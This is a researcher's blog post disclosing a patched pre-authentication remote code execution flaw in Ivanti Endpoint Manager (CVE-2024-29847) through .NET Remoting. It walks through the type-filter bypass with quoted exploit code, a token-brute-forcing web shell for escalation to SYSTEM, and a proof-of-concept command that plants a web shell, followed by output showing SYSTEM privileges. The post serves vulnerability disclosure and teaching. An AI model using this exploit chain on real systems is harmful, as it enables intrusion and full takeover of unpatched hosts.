The real slim shady || Ivanti Endpoint Manager (EPM) Pre-Auth RCE
CVE-2024-29847

Introduction
ivanti just pushed a patch for a Critical CVSS 10.0 (Critical) Remote Code Execution Vulnerability that I reported on May 1st 2024, impacting Ivanti Endpoint Manager (EPM). in this blog post I will be publishing the fully working unauthenticated exploit and detail how this bug class works.
If you found the original .NET Remoting Exploitation research a bit difficult to understand, This blog post also is also a good place to understand the concept in a bit easier fashion.
P.S: this blog post is full of grammar errors.
Nothing to be scared about folks, just another CVSS 9.8 0day disclosed 0days ago that's gonna get code execution in 0 seconds (3 seconds to be more accurate), no limitation, no authentication, no shit, just straight up remote code execution#IvantiForLife pic.twitter.com/KrCTnFGgEB
— SinSinology (@SinSinology) May 2, 2024
Hasn’t this been covered already?
You see, this exploit was reported to Ivanti more than 4 months ago, my plan was to publish the details once ivanti publishes the advisory, but also give a week or two so people can patch their products, and by writing about this bug I can advertise my training too, I was counting the days, everyday, each day, and from time to time I would bother the right people to see if Ivanti is going to publish anytime soon.
And then, finally, Advisory is published on 11th, I’m finishing my blog post, waiting for monday so enough people have patched, and Bam, what do I see on friday 13th?
Now its pretty much a known thing that I publish my .NET vulnerabilities very soon to advertise my training, but funny enough Folks at horizon3, swoop in, and write about my exploit, without even asking me if I plan to publish or not, you see, I was devastated! So, like anyone else, I clicked on their blog post and started reading.
I’m reading and waiting to see how they managed to write an exploit for my deserialization issue, I get to the end of the blog and this line
Would you look at that, they exploited a different bug found by someone else, and thought they’ve just exploited my bug :) and hours later, someone who might be the finder of that bug left a comment saying “This post is incorrect”
Now enough darama, I myself have written exploit for bugs that was found by other people many times, and I understand other people would do the same to me, either its for advertising their product or anytthing else, but, at least I’ve tried to reachout if I knew the finder and ask if they plan to publish soon or not, but it didn’t happen this time even though I had open channels for these folks over the last couple of years.
ivanti Endpoint Manager (EPM) Unauthenticated Remote Code Execution
Inside of the Agentportal.exe
executable the LANDesk.AgentPortal.AgentPortal.OnStart
method is invoked when ever the “Agent portal” service starts, this service is always running by default and it is possible to achieve unauthenticated remote code execution by exploiting this service.
Following is the decompiled view of this service executable, the OnStart
method will first create an instance of the System.Runtime.Remoting.Channels.Tcp.TcpChannel.TcpChannel
class [1] by invoking its constructor and passing 0 for its port
property, this causes the port for this service to be dynamically chosen, and then at [2] the code proceeds to register a TCP channel by invoking System.Runtime.Remoting.Channels.ChannelServices.RegisterChannel
passing in the tcp channel object and false
for the ensureSecurity
flag.
following the code path at [3] the LANDesk.AgentPortal.IAgentPortal
service which is a MarshalByRefObject is registered as a WellKnownServiceType
, then at [4] an absolute address is constructed and a call to LANDesk.AgentPortal.IAgentPortalBase.PublishChannelURL
is made
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
{
this.components.Dispose();
}
base.Dispose(disposing);
}
// Token: 0x06000005 RID: 5 RVA: 0x00002114 File Offset: 0x00001114
protected override void OnStart(string[] args)
{
TcpChannel tcpChannel = new TcpChannel(0); // [1]
ChannelServices.RegisterChannel(tcpChannel, false); // [2]
RemotingConfiguration.RegisterWellKnownServiceType(Type.GetType("LANDesk.AgentPortal.IAgentPortal"), "LDSM", WellKnownObjectMode.SingleCall); // [3]
RemotingConfiguration.ApplicationName = "LANDeskAgentPortal";
string[] urlsForUri = tcpChannel.GetUrlsForUri("LANDeskAgentPortal");
if (urlsForUri.Length >= 1)
{
IAgentPortalBase.PublishChannelURL(urlsForUri[0] + "/LDSM"); // [4]
}
AgentPortal.JobList = new NamedCollection();
if (!this.CleanupTimer.Enabled)
{
this.CleanupTimer.Start();
}
}
// Token: 0x06000006 RID: 6 RVA: 0x00002192 File Offset: 0x00001192
protected override void OnStop()
{
this.CleanupTimer.Stop();
}
the LANDesk.AgentPortal.IAgentPortalBase.PublishChannelURL
will save the constructed URL absolute address into the registry
// Token: 0x06000008 RID: 8 RVA: 0x00002098 File Offset: 0x00001098
public static void PublishChannelURL(string url)
{
RegistryKey registryKey = IAgentPortalBase.OpenRegKey("Software\\Landesk\\SharedComponents", true);
if (registryKey != null)
{
registryKey.SetValue("LANDeskAgentPortal", url);
}
}
The vulnerability here is the fact that Microsoft .NET Remoting is a dangerous and powerful technology which it’s use is extremely prohibited by Microsoft but to this day it’s uses are seen in a lot of critical infrastructures.
as a reminder, the port number has been set to “0” which causes this service to start on a dynamic port.
By default the type filter is set to low which prevents the easy exploitation of the .NET Remoting Stack, but it’s been achieved and requires more effort. Following is a detailed introduction to .NET remoting exploitation.
Introduction to Exploiting .NET Remoting
Disclaimer: Everything in the .NET Remoting exploitation internals explained here is based on James Forshaw’s research in .net remoting exploitation/internals, I am just a student of his work. A big thank you to my dear friend Markus Wulftange for always answering my questions, you have my utmost respect
As James Forshaw published, normally when we are exploiting a .NET Remoting instance, we need to target objects that are remotable, in order for an object to be “remotable” it should either be Serializable
or inherit MarshalByRefObject
class. now forshaw figured out that we can abuse the fact that certain classes such as DirectoryInfo and FileInfo are both derived from MarshalByRefObject (MBR) and are also Serializable.
Taking another page from forshaw’s book, here is the exploitation flow when targeting .NET Remoting that has the Full Type Filtering
- Classes Deriving from MarshalByRefObject (MBR) and Serializable:
DirectoryInfo
andFileInfo
are mentioned as examples of classes that meet these criteria. These classes can be serialized and deserialized across a network and are derived fromMarshalByRefObject
. - Crafted Hashtable with MBR Instance of IEqualityComparer: By deserializing an instance of one of these special classes (
DirectoryInfo
orFileInfo
) inside a carefully craftedHashtable
, along with aMarshalByRefObject
instance ofIEqualityComparer
, the server can be tricked into passing back the instance. - Marshalling by Reference (MBR): As the object is passed back over a remoting channel, the
DirectoryInfo
orFileInfo
objects are marshalled by reference and remain on the server. - Arbitrary File Operations: With the
DirectoryInfo
orFileInfo
objects now stuck inside the server, methods can be called on these objects to perform arbitrary file operations, such as reading and writing files. - Remote Code Execution: This technique potentially allows an attacker to achieve full code execution on the server by leveraging the ability to manipulate files and execute arbitrary commands.
Here is how James Forshaw describes the flow which is absolutely amazing
.NET Remoting exploitation flow when Type Filter is set to Full, designed by James Forshaw
Exploiting .NET Remoting (Low Type Filter)
When the Low Type Filter is enabled the following restrictions are applied:
- Object types derived from
MarshalByRefObject
,DelegateSerializationHolder
,ObjRef
,IEnvoyInfo
andISponsor
can not be deserialized. - All objects which are deserialized must not Demand any CAS permission other than
SerializationFormatter
permission.
Now forshaw figured out if we go about using the previous technique we’ll encounter some obstacles, first, in order to get the instance of the special object such as DirectoryInfo
and FileInfo
we need to pass a MarshalByRef IEqualityProvider
which gets blocked when the Type Filter is set to Low.
Second, even if we do manage to get a hold of the DirectoryInfo
or FileInfo
and want to use it, when our message is sent over the proxy channel and is deserialized, a Demand is made for the FileIOPermission
For the “Path” we have referenced, sadly, this causes a “Permission Demand” and falls into the restriction rules that only SerializationFormatter
permissions are allowed
And lastly, even if we do manage pass the MarshalByRef IEqualityProvider
and we do manage to have the server deserialize our malicious FileInfo
or DirectoryInfo
without raising permission demands, we’ll encounter another problem, for a target server to “send back the reference” to an special object, it needs to use the network stack and connect back to us, this will raise another permission demand and falls into the restrictions category one more time.
Bypassing MarshalByRefObject Type Checking
Forshaw found out it is possible to bypass the first restriction that prevents MarshalByRef
objects being deserialized by not using MethodCall
or MethodReturn
as the “Top Level Record”, so by passing a Hashtable as the top level object, it’ll cause the remoting server code to fault when trying to call methods on the message object but by then it’d be too late and the bypass is done. This is how the top level record is checked:
internal void ReadMethodObject(BinaryHeaderEnum binaryHeaderEnum) {
SerTrace.Log(this, "ReadMethodObject");
if (binaryHeaderEnum == BinaryHeaderEnum.MethodCall) {
BinaryMethodCall record = new BinaryMethodCall();
record.Read(this);
record.Dump();
objectReader.SetMethodCall(record);
} else {
BinaryMethodReturn record = new BinaryMethodReturn();
record.Read(this);
record.Dump();
objectReader.SetMethodReturn(record);
}
}
Bypassing FileInfo/DirectoryInfo CAS Permission Demand
When System.Runtime.Remoting.dll receives an incoming request if the type filter level has been set to low, the following branch is taken
PermissionSet currentPermissionSet = null;
if (this.TypeFilterLevel != TypeFilterLevel.Full) {
currentPermissionSet = new PermissionSet(PermissionState.None);
currentPermissionSet.SetPermission(
new SecurityPermission(
SecurityPermissionFlag.SerializationFormatter));
}
try {
if (currentPermissionSet != null)
currentPermissionSet.PermitOnly();
// Deserialize Request - Stream to IMessage
requestMsg = CoreChannel.DeserializeBinaryRequestMessage(
objectUri, requestStream, _strictBinding, this.TypeFilterLevel);
}
finally {
if (currentPermissionSet != null)
CodeAccessPermission.RevertPermitOnly();
}
As you can see if the type filter level is NOT set to TypeFilterLevel.Full
then the currentPermissionSet
will only contain one permission which is SecurityPermissionFlag.SerializationFormatter
, what does this mean? this means first the CAS is enforced by calling .PermitOnly()
then our Serialized Message gets Deserialized under the influence of CAS and then finally the CAS is lifted when the .RevertPermitOnly()
is invoked.
So as long as the DeserializeBinaryRequestMessage
does not violate CAS during the deserialization phase we can get around this security protection, but how can we get passed that?
That was exactly what forshaw did, he figured out, The PermitOnly
security behaviors of Low Type Filter only apply when calling a method on a server object, not deserializing the return value.
Therefore if we could find somewhere in the server which calls back to a MBR object we control then we can force the server to deserialize an arbitrary object. This object can be used to mount the attack as the deserialization would not occur under the PermitOnly
CAS grant and we can use the same Hashtable trick to capture a DirectoryInfo
or FileInfo
object.
But how can find a a method that calls back to us? Normally you would go about reverse engineering the server application to find such a method, but forshaw decided to come up with a universal technique that allows to make the server perform a callback to us, after reviewing multiple candidates he published the ILease::Register
technique.
Basically, The InitializeLifetimeServer or GetLifetimeService methods return an MBR which implements the ILease interface. The ILease interface has a Register
method which expects 1 argument that implements ISponsor, and the trick here is, invoking the ILease::Register
with an argument that implements IConvertible instead of ISponsor, we cause an interesting behaviour to happen which forshaw has named “Coerce Arguments”.
Forshaw proceeded by Digging further into default remoting implementation and noticed that if an argument being passed to a method isn’t directly of the required type the method StackBuilderSink::SyncProcessMessage
will call Message::CoerceArgs
to try the coerce the argument to the correct type. The fallback is to call Convert::ChangeType passing the needed type and the object passed from the client. To convert to the correct type the code will see if the passed object implements the IConvertible interface and call the ToType method on it. And that’s exactly what is happening in the ExploitRemotingService PoC published by James.
// ExploitRemotingService
// Copyright (C) 2019 James Forshaw
//
namespace ExploitRemotingService
{
class SerializerRemoteClass : MarshalByRefObject, IRemoteClass, IEqualityComparer, IConvertible
{
private readonly CustomChannel _channel;
private readonly ILease _lease;
private readonly bool _useObjRef;
private object _send_object;
public SerializerRemoteClass(CustomChannel channel, ILease lease, bool useObjRef)
{
_channel = channel;
_lease = lease;
_useObjRef = useObjRef;
}
[..SNIP..]
object IConvertible.ToType(Type conversionType, IFormatProvider provider)
{
return new DataSetMarshal(_send_object);
}
}
}
Now in order to begin this whole operation and “Set” a ISponsor
object, we need to make an actual call to the server, however the Low Type Filter would stop us from passing an MBR ISponsor object as the top level object would be a MethodCall record type which would throw an exception when it is encountered during argument deserialization.
Forshaw figured there’s an easy way around this too, the framework provides us with a full serializable MethodCall class. Instead of using the MethodCall record type we can instead package up a serializable MethodCall (DIY) object as the top level object with all the data needed to make the call to Register. As the top level object is using a normal serialized object record type and not a MethodCall record type it’ll never trigger the type checking and we can call Register with our MBR ISponsor object and get around this limitation too, an absolute work of art from James, here is how he implemented it in the ExploitRemotingService project:
// ExploitRemotingService
// Copyright (C) 2019 James Forshaw
//
using System;
using System.Linq;
using System.Reflection;
using System.Runtime.Remoting.Messaging;
using System.Runtime.Serialization;
namespace ExploitRemotingService
{
[Serializable]
class MethodCallWrapper : ISerializable
{
private readonly string _uri;
private readonly MethodBase _method;
private readonly object[] _args;
public MethodCallWrapper(string uri, MethodBase method, object[] args)
{
_uri = uri;
_method = method;
_args = args;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(MethodCall));
info.AddValue("__Uri", _uri);
info.AddValue("__MethodName", _method.Name);
info.AddValue("__MethodSignature", _method.GetParameters().Select(p => p.ParameterType).ToArray());
info.AddValue("__Args", _args);
info.AddValue("__TypeName", _method.DeclaringType.FullName);
info.AddValue("__CallContext", string.Empty);
}
}
}
You might wonder if there’s another problem here, won’t deserializing the MBR cause the channel to be created and hit the PermitOnly
CAS grant? Fortunately channel setup is deferred until a call is made on the object, therefore as long as no call is made to the MBR object during the deserialization process we’ll be out of the CAS grant and able to setup the channel when the Renewal method is called.
Following is how the final exploitation will look like, this diagram was originally made by james and I just remade it with a small edit.
Making the exploit more difficult just for fun
For Ivanti I used a different technique when exploiting the Low Type Filter, usually you might be taking the approach of remotely causing a side load of the FakeAssembly technique, but I’ve decided to abuse the Write What Where MarshalByRefObj Primitive and write a web shell to one of the EPM Public IIS Application Pool directories, this is because comapred to the FakeAssembly, defender won’t catch this (which it will after this post, lol)
From IIS User to NT AUTHORITY\SYSTEM Privilege Escalation
After analysing the worker process that is used to run the application pool for the Ivanti Endpoint Manager WebService, I’ve realized the worker process almost always contains leaked open handles that belong to nt authority\system
, this means it’s possible to to escalate our privileges from the IIS App Pool user to NT AUTHORITY\SYSTEM.
Kurosh Dabbagh (@Kudaes) published a webshell written in ASP.NET, this shell is meant to be used to escape from the Application Pool Identity security context and perform privilege escalation after compromising a web app.
The inner workings of this webshell is perfectly explained by Kurosh Dabbagh and to give you a high overview of it, this web shell will
- With a loop that iterates over a range number from 0 to 1000000, we create a IntPtr and use it to create a pointers to potential handles, first we validate if the handle is valid, then we proceed
- Call
[NtQueryObject]
to find out if it is a token handle. - Retrieve information about the owner of the token by calling
[GetTokenInformation]
and[LookupAccountSid]
. - Once the operator decides which one of the available token handles wants to use for the impersonation, a call to
[CreateProcessWithTokenW]
is performed to spawn a new process running in the new security context.
If you are wondering why did Kurosh took the approach of brute forcing these handle values instead of using [NtQueryInformationProcess]
this is because for some reason calling into this function from the web shell was proven unreliable but brute forcing the handles values showed way more accurate result and almost no handles being missed. the following is a small portion of Kurosh’s implementation
// [..SNIP..]
public void GetAllUsernames(List<string> users)
{
int nLength = 0, status = 0;
try
{
for (int index = 1; index < 1000000; index++)
{
var handle = new IntPtr(index);
IntPtr hObjectName = IntPtr.Zero;
try
{
nLength = 0;
hObjectName = Marshal.AllocHGlobal(256 * 1024);
status = NtQueryObject(handle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, nLength, ref nLength);
if (string.Format("{0:X}", status) == "C0000008") // STATUS_INVALID_HANDLE
continue;
while (status != 0)
{
Marshal.FreeHGlobal(hObjectName);
if (nLength == 0)
continue;
hObjectName = Marshal.AllocHGlobal(nLength);
status = NtQueryObject(handle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, nLength, ref nLength);
}
OBJECT_TYPE_INFORMATION objObjectName = Marshal.PtrToStructure<OBJECT_TYPE_INFORMATION>(hObjectName);
if (objObjectName.Name.Buffer != IntPtr.Zero)
{
string strObjectName = "" + Marshal.PtrToStringUni(objObjectName.Name.Buffer);
if (strObjectName.ToLower() == "token")
{
// [..SNIP..]
Proof of Concept
you can find the source code of the exploit with the compiled version at my github repository
#> IvantiForLife.exe --what WWW.aspx --where default 192.168.0.200:49999
(*) writting WWW.aspx to C:\Program Files\LANDesk\ManagementSuite\LANDesk\ManagementSuite\Core\Core.Webservices\WWW.aspx
(+) Web shell is at -> https://192.168.0.200/WebService/WWW.aspx
(*) enumerating avaialble token handles
(*) found NT AUTHORITY\SYSTEM Token
(*) executing "whoami /all"
(*) Fetching Result
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
James Forshaw
Without the work of people such as james none of this would’ve been possible, james has published many more fantastic research over decades of grinding in the cybersecurity field, at the time of writing this post, james has published his second book titled “Windows Security Internals”, I can’t recommend this book enough to all the windows security enthusiasts, make sure to check it out, it is an amazing read.
This new book has finally arrived. Thank's to @nostarch as well as @billpollock for making it happen as well as @Lee_Holmes as my tech reviewer. pic.twitter.com/BMUfZGrU2F
— James Forshaw (@tiraniddo) March 28, 2024
ZERO DAY INITIATIVE
If it wasn’t because of the talented team working at the Zero Day Initiative, Ivanti would’ve not gotten this vulnerability report from me, shout out to all of you people working there to make the internet safer.
Conclusion
Don’t use .NET Remoting, no matter how much you need it and if this post has gone over your head or you like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you how to pop shellz on .net targets.
References
- https://forums.ivanti.com/s/article/Security-Advisory-EPM-September-2024-for-EPM-2024-and-EPM-2022?language=en_US
- https://www.zerodayinitiative.com/advisories/ZDI-24-1223/
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.tiraniddo.dev/2014/11/stupid-is-as-stupid-does-when-it-comes.html
- https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html
- https://github.com/tyranid/ExploitRemotingService
- https://research.nccgroup.com/2019/03/19/finding-and-exploiting-net-remoting-over-http-using-deserialisation/
- https://code-white.com/blog/2022-01-dotnet-remoting-revisited/
- https://www.tarlogic.com/blog/token-handles-abuse/
- https://twitter.com/_kudaes_
- https://www.tarlogic.com/blog/token-handles-abuse/